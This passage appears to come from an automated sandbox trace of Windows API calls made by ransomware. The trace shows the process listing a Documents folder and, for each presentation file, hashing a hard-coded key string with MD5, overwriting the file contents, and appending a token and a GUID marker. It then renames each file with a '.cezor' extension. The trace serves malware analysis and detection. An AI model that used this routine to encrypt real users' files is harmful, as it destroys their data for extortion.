hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.826] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.826] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.826] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.826] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.826] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.826] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.826] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.826] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.826] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.826] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.826] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.826] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.826] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.826] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.826] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.826] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.826] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.826] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.826] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.826] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.826] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.826] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.826] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\") returned="Yw9G-4_B\\" [0060.826] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0060.826] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f63c0 [0060.826] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.826] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0060.826] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30180d0 [0060.826] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f63c0 | out: hHeap=0x670000) returned 1 [0060.827] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0060.827] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4898 [0060.827] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0060.827] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0060.827] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30180d0 | out: hHeap=0x670000) returned 1 [0060.827] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0060.827] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0060.827] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0060.827] PathFindFileNameW (pszPath="") returned="" [0060.827] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.827] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f5a1350, ftCreationTime.dwHighDateTime=0x1d4ca71, ftLastAccessTime.dwLowDateTime=0xb2b6a1a0, ftLastAccessTime.dwHighDateTime=0x1d4c95a, ftLastWriteTime.dwLowDateTime=0xb2b6a1a0, ftLastWriteTime.dwHighDateTime=0x1d4c95a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0060.827] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.827] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f5a1350, ftCreationTime.dwHighDateTime=0x1d4ca71, ftLastAccessTime.dwLowDateTime=0xb2b6a1a0, ftLastAccessTime.dwHighDateTime=0x1d4c95a, ftLastWriteTime.dwLowDateTime=0xb2b6a1a0, ftLastWriteTime.dwHighDateTime=0x1d4c95a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.827] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe048bb20, ftCreationTime.dwHighDateTime=0x1d4d270, ftLastAccessTime.dwLowDateTime=0xaa721750, ftLastAccessTime.dwHighDateTime=0x1d4cb6b, ftLastWriteTime.dwLowDateTime=0xaa721750, ftLastWriteTime.dwHighDateTime=0x1d4cb6b, nFileSizeHigh=0x0, nFileSizeLow=0x7b47, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="68l k.odp", cAlternateFileName="68LK~1.ODP")) returned 1 [0060.827] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.827] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa6) returned 0x2fee668 [0060.827] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.827] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\68l k.odp") returned=".odp" [0060.827] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\68l k.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\68l k.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.827] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=31559) returned 1 [0060.828] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.830] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x7b21, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.830] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.831] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0060.831] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.831] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.831] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x7b47, lpOverlapped=0x0) returned 1 [0060.831] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.831] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.831] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.831] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.831] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e3d0) returned 1 [0060.832] CryptCreateHash (in: hProv=0x74e3d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.832] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.832] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.832] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.832] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.832] GetLastError () returned 0x0 [0060.832] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.832] CryptReleaseContext (hProv=0x74e3d0, dwFlags=0x0) returned 1 [0060.832] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.832] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x7b50) returned 0x3132418 [0060.833] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.833] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.833] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x7b42, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x7b42, lpOverlapped=0x0) returned 1 [0060.833] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0060.833] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x7b47, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.833] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f63c0 [0060.833] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0060.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.833] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0060.833] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.833] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f63c0 | out: hHeap=0x670000) returned 1 [0060.833] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.833] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.833] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.833] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.833] CloseHandle (hObject=0x5c4) returned 1 [0060.835] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e3d0 [0060.835] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x890) returned 0x3100c28 [0060.835] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e3d0 | out: hHeap=0x670000) returned 1 [0060.835] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\68l k.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\68l k.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\68l k.odp.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\68l k.odp.cezor")) returned 1 [0060.835] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.835] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.836] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2fee668 | out: hHeap=0x670000) returned 1 [0060.836] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3a2710, ftCreationTime.dwHighDateTime=0x1d4c7e2, ftLastAccessTime.dwLowDateTime=0x45f0bdb0, ftLastAccessTime.dwHighDateTime=0x1d4c9ac, ftLastWriteTime.dwLowDateTime=0x45f0bdb0, ftLastWriteTime.dwHighDateTime=0x1d4c9ac, nFileSizeHigh=0x0, nFileSizeLow=0x8c82, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="foWRjFtWYtlcWkIBF.ppt", cAlternateFileName="FOWRJF~1.PPT")) returned 1 [0060.836] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.836] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa6) returned 0x2fee668 [0060.836] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.836] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\foWRjFtWYtlcWkIBF.ppt") returned=".ppt" [0060.836] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\foWRjFtWYtlcWkIBF.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\fowrjftwytlcwkibf.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.837] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=35970) returned 1 [0060.837] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.839] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x8c5c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.839] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.840] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0060.840] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.840] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.840] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x8c82, lpOverlapped=0x0) returned 1 [0060.840] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.840] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.840] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.840] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.840] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e3d0) returned 1 [0060.841] CryptCreateHash (in: hProv=0x74e3d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.841] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.841] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.841] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.841] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.841] GetLastError () returned 0x0 [0060.841] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.841] CryptReleaseContext (hProv=0x74e3d0, dwFlags=0x0) returned 1 [0060.841] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.841] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8c80) returned 0x3132418 [0060.841] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.841] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.841] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x8c7d, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x8c7d, lpOverlapped=0x0) returned 1 [0060.842] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0060.842] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x8c82, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.842] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f63c0 [0060.842] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0060.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.842] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0060.842] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.842] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f63c0 | out: hHeap=0x670000) returned 1 [0060.842] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.842] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.842] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.842] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.842] CloseHandle (hObject=0x5c4) returned 1 [0060.843] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301db48 [0060.843] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a0) returned 0x3100c28 [0060.843] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0060.843] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\foWRjFtWYtlcWkIBF.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\fowrjftwytlcwkibf.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\foWRjFtWYtlcWkIBF.ppt.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\fowrjftwytlcwkibf.ppt.cezor")) returned 1 [0060.844] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.844] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.845] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2fee668 | out: hHeap=0x670000) returned 1 [0060.845] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59502f90, ftCreationTime.dwHighDateTime=0x1d4d1da, ftLastAccessTime.dwLowDateTime=0x5bca0990, ftLastAccessTime.dwHighDateTime=0x1d4cad1, ftLastWriteTime.dwLowDateTime=0x5bca0990, ftLastWriteTime.dwHighDateTime=0x1d4cad1, nFileSizeHigh=0x0, nFileSizeLow=0x17d8b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="l8IL3_dOyLyH.odp", cAlternateFileName="L8IL3_~1.ODP")) returned 1 [0060.845] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.845] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa6) returned 0x2fee668 [0060.845] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.845] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\l8IL3_dOyLyH.odp") returned=".odp" [0060.845] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\l8IL3_dOyLyH.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\l8il3_doylyh.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.846] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=97675) returned 1 [0060.846] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.848] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x17d65, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.848] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.849] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0060.849] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.849] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.849] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x17d8b, lpOverlapped=0x0) returned 1 [0060.849] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.850] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.850] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.850] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.850] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e3d0) returned 1 [0060.850] CryptCreateHash (in: hProv=0x74e3d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.850] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.850] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.850] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.850] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.850] GetLastError () returned 0x0 [0060.851] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.851] CryptReleaseContext (hProv=0x74e3d0, dwFlags=0x0) returned 1 [0060.851] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.851] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x17d90) returned 0x3132418 [0060.851] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.851] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.851] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x17d86, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x17d86, lpOverlapped=0x0) returned 